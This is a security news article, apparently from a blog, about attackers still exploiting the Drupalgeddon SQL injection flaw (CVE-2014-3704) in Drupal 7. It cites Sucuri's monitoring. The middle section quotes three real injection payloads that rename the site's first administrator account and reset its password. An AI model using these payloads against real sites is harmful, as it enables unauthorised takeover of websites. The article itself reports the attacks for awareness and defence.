Old CVE-2014-3704 flaw in Drupal still exploited in attacks

More than 19 months after its public disclosure the CVE-2014-3704 is still exploited in attacks against Drupal-based websites.

It was October 2014, when Drupal patched a critical SQL injection vulnerability (CVE-2014-3704) that was affecting all Drupal core 7.x versions up to the recently-released 7.32 version, which fixed the issue. The patch issued by Drupal fixed the critical SQL injection vulnerability flaw that could be exploited by threat actors to do a dump of the database used by the targeted site, without needing an account or tricking a user into exposing credentials.

Drupal US-CERT

Due to its impact, the CVE-2014-3704 flaw was dubbed by the experts “Drupalgeddon.” You are thinking why I’m telling about an old flaw, 19 months later, and the answer is simple.

Even today, there are many websites that are still affected by the vulnerability, also a portal of the Mossack Fonseca was plagued by this security flaw.

The experts from Sucuri firm have been monitoring attacks on Drupal based websites leveraging on the CVE-2014-3704 flaw. According to Sucuri observed, thousands of websites were compromised in the months after the disclosure of the flaw (October and November 2014), but the most worrisome news is that the cyber attacks remained consistent throughout 2015 and 2016.

Drupal attacks leveraging CVE-2014-3704

“After the initial attacks in October and November of 2014, the attacks dropped and remained consistent through 2016. If someone had not patched, they are surely compromised now.” states Sucuri in a blog post.

In the vast majority of attacks observed by Sucuri, hackers have exploited the CVE-2014-3704 vulnerability to create new admin accounts on Drupal websites, below attacks trying to force a new admin with names Derevos, Holako and Mr.R00t2_404,respectively.

“Most attacks leverage the SQL injection vulnerability to create a new admin user with injections like the following:”

name[0%20;update+users+set+name%3d%27derevos%27,+pass%3d%27$S$CTo9G7Lx2mQZv/dfetGZcq7
e1cVNpFpTRdZ8EckF/d6BnrMPZ/Ce%27+where+uid%3d%271%27;;#%20%20]=bob&name[0]=test&pass=shit2&test2=test

Example 2:

name[0;update users set name %3D 'HolaKo' , pass %3D '%24S%24DrV4X74wt6bT3BhJa4X0.XO5bHXl%2FQBnFkdDkYSHj3cE1Z5clGwu' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test

Example 3:

POSTLOG:name[0;update users set name %3D 'Mr.R00t2_404' , pass %3D '%24S%24DrV4X74wt6bT3BhJa4X0.XO5bHXl%2FQBnFkdDkYSHj3cE1Z5clGwu',status %3D'1' where
uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test

The experts from Sucuri are warning of a significant increase in SEO spam attacks against Drupal 7 websites.

[adrotate banner=”9″]

[adrotate banner=”12″]

Pierluigi Paganini

(Security Affairs – Drupal, CVE-2014-3704)

[adrotate banner=”5″]

[adrotate banner=”13″]

Pierluigi Paganini

Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog "Security Affairs" recently named a Top National Security Resource for US. Pierluigi is a member of the "The Hacker News" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books "The Deep Dark Web" and “Digital Virtual Currency and Bitcoin”.